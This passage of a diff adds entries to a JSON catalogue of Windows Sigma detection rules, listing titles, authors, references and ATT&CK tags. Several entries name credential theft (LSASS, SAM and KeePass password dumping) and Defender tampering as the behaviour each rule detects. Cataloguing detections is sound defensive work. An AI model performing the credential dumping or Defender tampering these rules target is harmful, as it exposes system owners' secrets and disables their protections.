"Detects a ProcessHacker tool that elevated privileges to a very high level", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_system_susp_proceshacker.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/1kwpeter/status/1397816101455765504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1543.003", + "attack.t1569.002" + ] + }, + "uuid": "c4ff1eac-84ad-44dd-a6fb-d56a92fc43a9", + "value": "ProcessHacker Privilege Elevation" + }, + { + "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_rtcore64_service_install.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c", + "value": "RTCore Suspicious Service Installation" + }, + { + "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/01/27", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_sam_dump.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_sam_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd", + "value": "SAM Dump to AppData" + }, + { + "description": "Detects suspicious service installation commands", + "meta": { + "author": "pH-T", + "creation_date": "2022/03/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_service_installation.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ] + }, + "uuid": "1d61f71d-59d2-479e-9562-4ff5f4ead16b", + "value": "Suspicious Service Installation" + }, + { + "description": "Detects service installation in suspicious folder appdata", + "meta": { + "author": "pH-T", + "creation_date": "2022/03/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_service_installation_folder.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ] + }, + "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb", + "value": "Service Installation in Suspicious Folder" + }, + { + "description": "Detects service installation with suspicious folder patterns", + "meta": { + "author": "pH-T", + "creation_date": "2022/03/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_service_installation_folder_pattern.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder_pattern.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ] + }, + "uuid": "1b2ae822-6fe1-43ba-aa7c-d1a3b3d1d5f2", + "value": "Service Installation with Suspicious Folder Pattern" + }, + { + "description": "Detects suspicious service installation scripts", + "meta": { + "author": "pH-T", + "creation_date": "2022/03/18", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_service_installation_script.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_script.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ] + }, + "uuid": "70f00d10-60b2-4f34-b9a0-dc3df3fe762a", + "value": "Suspicious Service Installation Script" + }, + { + "description": "Windows Update get some error Check if need a 0-days KB", + "meta": { + "author": "frack113", + "creation_date": "2021/12/04", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_system_update_error.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_system_update_error.yml" + ], + "tags": [ + "attack.impact", + "attack.resource_development", + "attack.t1584" + ] + }, + "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59", + "value": "Windows Update Error" + }, + { + "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", + "meta": { + "author": "Cybex", + "creation_date": "2022/08/16", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "52a85084-6989-40c3-8f32-091e12e17692", + "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919" + }, + { + "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_system_service_installation_by_unusal_client.yml", + "level": "high", + "logsource.category": "system", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_system_service_installation_by_unusal_client.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ] + }, + "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5", + "value": "Service Installed By Unusual Client - System" + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", + "meta": { + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "filename": "win_system_tap_driver_installation.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_tap_driver_installation.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ] + }, + "uuid": "8e4cf0e5-aa5d-4dc3-beff-dc26917744a9", + "value": "Tap Driver Installation" + }, + { + "description": "Detects volume shadow copy mount via windows event log", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "creation_date": "2020/10/20", + "falsepositive": [ + "Legitimate use of volume shadow copy mounts (backups maybe)." + ], + "filename": "win_system_volume_shadow_copy_mount.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_volume_shadow_copy_mount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "f512acbf-e662-4903-843e-97ce4652b740", + "value": "Volume Shadow Copy Mount" + }, + { + "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", + "meta": { + "author": "NVISO", + "creation_date": "2020/09/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_vul_cve_2020_1472.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2020_1472.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "a0cb7110-edf0-47a4-9177-541a4083128a", + "value": "Vulnerable Netlogon Secure Channel Connection Allowed" + }, + { + "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_vul_cve_2021_42278_or_cve_2021_42287.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2021_42278_or_cve_2021_42287.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ] + }, + "uuid": "44bbff3e-4ca3-452d-a49a-6efa4cafa06f", + "value": "Exploit SamAccountName Spoofing with Kerberos" + }, + { + "description": "This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/17", + "falsepositive": [ + "Software installation" + ], + "filename": "win_rare_schtask_creation.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_rare_schtask_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.s0111", + "attack.t1053.005" + ] + }, + "uuid": "b20f6158-9438-41be-83da-a5a16ac90c2b", + "value": "Rare Scheduled Task Creations" + }, + { + "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/29", + "falsepositive": [ + "Unknown" + ], + "filename": "win_terminalservices_rdp_ngrok.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://ngrok.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272", + "value": "Ngrok Usage with Remote Desktop Service" + }, + { + "description": "Detects Access to LSASS Process", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/08/26", + "falsepositive": [ + "Google Chrome GoogleUpdate.exe", + "Some Taskmgr.exe related activity" + ], + "filename": "win_defender_alert_lsass_access.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98", + "value": "LSASS Access Detected via Attack Surface Reduction" + }, + { + "description": "Detects triggering of AMSI by Windows Defender.", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2020/09/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_defender_amsi_trigger.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "ea9bf0fa-edec-4fb8-8b78-b119f2528186", + "value": "Windows Defender AMSI Trigger Detected" + }, + { + "description": "Detects disabling Windows Defender threat protection", + "meta": { + "author": "Ján Trenčanský, frack113", + "creation_date": "2020/07/28", + "falsepositive": [ + "Administrator actions" + ], + "filename": "win_defender_disabled.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "fe34868f-6e0e-4882-81f6-c43aa8f15b62", + "value": "Windows Defender Threat Detection Disabled" + }, + { + "description": "Detects the Setting of Windows Defender Exclusions", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/07/06", + "falsepositive": [ + "Administrator actions" + ], + "filename": "win_defender_exclusions.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_nullbind/status/1204923340810543109", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", + "value": "Windows Defender Exclusions Added" + }, + { + "description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_defender_exploit_guard_tamper.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "a3ab73f1-bd46-4319-8f06-4b20d0617886", + "value": "Windows Defender Exploit Guard Tamper" + }, + { + "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", + "meta": { + "author": "Cian Heasley", + "creation_date": "2020/08/13", + "falsepositive": [ + "Deletion of Defender malware detections history for legitimate reasons" + ], + "filename": "win_defender_history_delete.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001" + ] + }, + "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", + "value": "Windows Defender Malware Detection History Deletion" + }, + { + "description": "Detects blocking of process creations originating from PSExec and WMI commands", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2020/07/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_defender_psexec_wmi_asr.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", + "https://twitter.com/duff22b/status/1280166329660497920", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1047", + "attack.t1569.002" + ] + }, + "uuid": "97b9ce1e-c5ab-11ea-87d0-0242ac130003", + "value": "PSExec and WMI Process Creations Block" + }, + { + "description": "Detects block of attempt to disable real time protection of Microsoft Defender by tamper protection", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/07/05", + "falsepositive": [ + "Administrator actions" + ], + "filename": "win_defender_tamper_protection_trigger.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "49e5bc24-8b86-49f1-b743-535f332c2856", + "value": "Microsoft Defender Tamper Protection Trigger" + }, + { + "description": "Detects all actions taken by Windows Defender malware detection engines", + "meta": { + "author": "Ján Trenčanský", + "creation_date": "2020/07/28", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_defender_threat.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "57b649ef-ff42-4fb0-8bf6-62da243a1708", + "value": "Windows Defender Threat Detected" + }, + { + "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", + "meta": { + "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", + "creation_date": "2017/08/22", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "filename": "win_wmi_persistence.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ] + }, + "uuid": "0b7889b4-5577-4521-a60a-3376ee7f9f7b", + "value": "WMI Persistence" + }, + { + "description": "Detects remote thread injection events based on action seen used by bumblebee", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_bumblebee.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011", + "attack.t1059.001" + ] + }, + "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", + "value": "Bumblebee Remote Thread Creation" + }, + { + "description": "Detects remote thread creation from CACTUSTORCH as described in references.", + "meta": { + "author": "@SBousseaden (detection), Thomas Patzke (rule)", + "creation_date": "2019/02/01", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_cactustorch.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1090588499517079552", + "https://github.com/mdsecactivebreach/CACTUSTORCH", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.012", + "attack.execution", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1218.005" + ] + }, + "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", + "value": "CACTUSTORCH Remote Thread Creation" + }, + { + "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", + "meta": { + "author": "Olaf Hartong, Florian Roth, Aleksey Potapov, oscd.community", + "creation_date": "2018/11/30", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", + "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ] + }, + "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", + "value": "CobaltStrike Process Injection" + }, + { + "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/11", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_loadlibrary.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ] + }, + "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", + "value": "CreateRemoteThread API and LoadLibrary" + }, + { + "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", + "meta": { + "author": "Timon Hackenjos", + "creation_date": "2022/04/22", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_password_dumper_keepass.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", + "https://github.com/denandz/KeeFarce", + "https://github.com/GhostPack/KeeThief", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.005" + ] + }, + "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", + "value": "KeePass Password Dumping" + }, + { + "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/02/19", + "falsepositive": [ + "Antivirus products" + ], + "filename": "create_remote_thread_win_password_dumper_lsass.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.s0005", + "attack.t1003.001" + ] + }, + "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", + "value": "Password Dumper Remote Thread in LSASS" + }, + { + "description": "Detects the creation of a remote thread from a Powershell process to another process", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_powershell_code_injection.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_code_injection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50", + "value": "Accessing WinAPI in PowerShell. Code Injection" + }, + { + "description": "Detects PowerShell remote thread creation in Rundll32.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/06/25", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_susp_powershell_rundll32.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_powershell_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011", + "attack.t1059.001" + ] + }, + "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e", + "value": "PowerShell Rundll32 Remote Thread Creation" + }, + { + "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "meta": { + "author": "Perez Diego (@darkquassar), oscd.community", + "creation_date": "2019/10/27", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_susp_remote_thread_source.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "Personal research, statistical analysis", + "https://lolbas-project.github.io", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", + "value": "Suspicious Remote Thread Source" + }, + { + "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/25", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_susp_remote_thread_target.yml", + "level": "medium", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" + ], + "tags": "No established tags" + }, + "uuid": "f016c716-754a-467f-a39e-63c06f773987", + "value": "Suspicious Remote Thread Target" + }, + { + "description": "Detects a remote thread creation in suspicious target images", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/16", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_susp_targets.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.003" + ] + }, + "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", + "value": "Remote Thread Creation in Suspicious Targets" + }, + { + "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", + "meta": { + "author": "frack113", + "creation_date": "2022/05/16", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_ttdinjec.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16", + "value": "Remote Thread Creation Ttdinject.exe Proxy" + }, + { + "description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", + "meta": { + "author": "Florian Roth, @0xrawsec", + "creation_date": "2018/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "create_stream_hash_ads_executable.yml", + "level": "medium", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/0xrawsec/status/1002478725605273600?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ] + }, + "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821", + "value": "Executable in ADS" + }, + { + "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", + "meta": { + "author": "frack113", + "creation_date": "2022/10/22", + "falsepositive": [ + "Other legitimate browsers not currently included in the filter (please add them)", + "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" + ], + "filename": "create_stream_hash_creation_internet_file.yml", + "level": "medium", + "logsource.category": "create_stream_hash", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": 